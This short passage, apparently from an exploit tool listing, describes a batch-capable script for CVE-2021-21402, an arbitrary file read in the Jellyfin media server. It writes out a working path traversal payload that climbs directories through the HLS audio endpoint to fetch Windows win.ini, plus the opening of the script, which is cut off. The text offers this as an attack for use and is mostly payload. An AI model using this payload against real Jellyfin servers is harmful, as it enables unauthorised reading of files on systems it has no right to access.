CVE-2021-21402

CVE-2021-21402 CVE-2021-21402 Jellyfin任意文件读取 Wker脚本，可批量。 逻辑很简单，就是通过GET访问win.ini存在与否： root@kitploit: define payload = /Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/ define info = CVE-2021-21402 Jellyfin任意文件读取 function mainargs dirs =...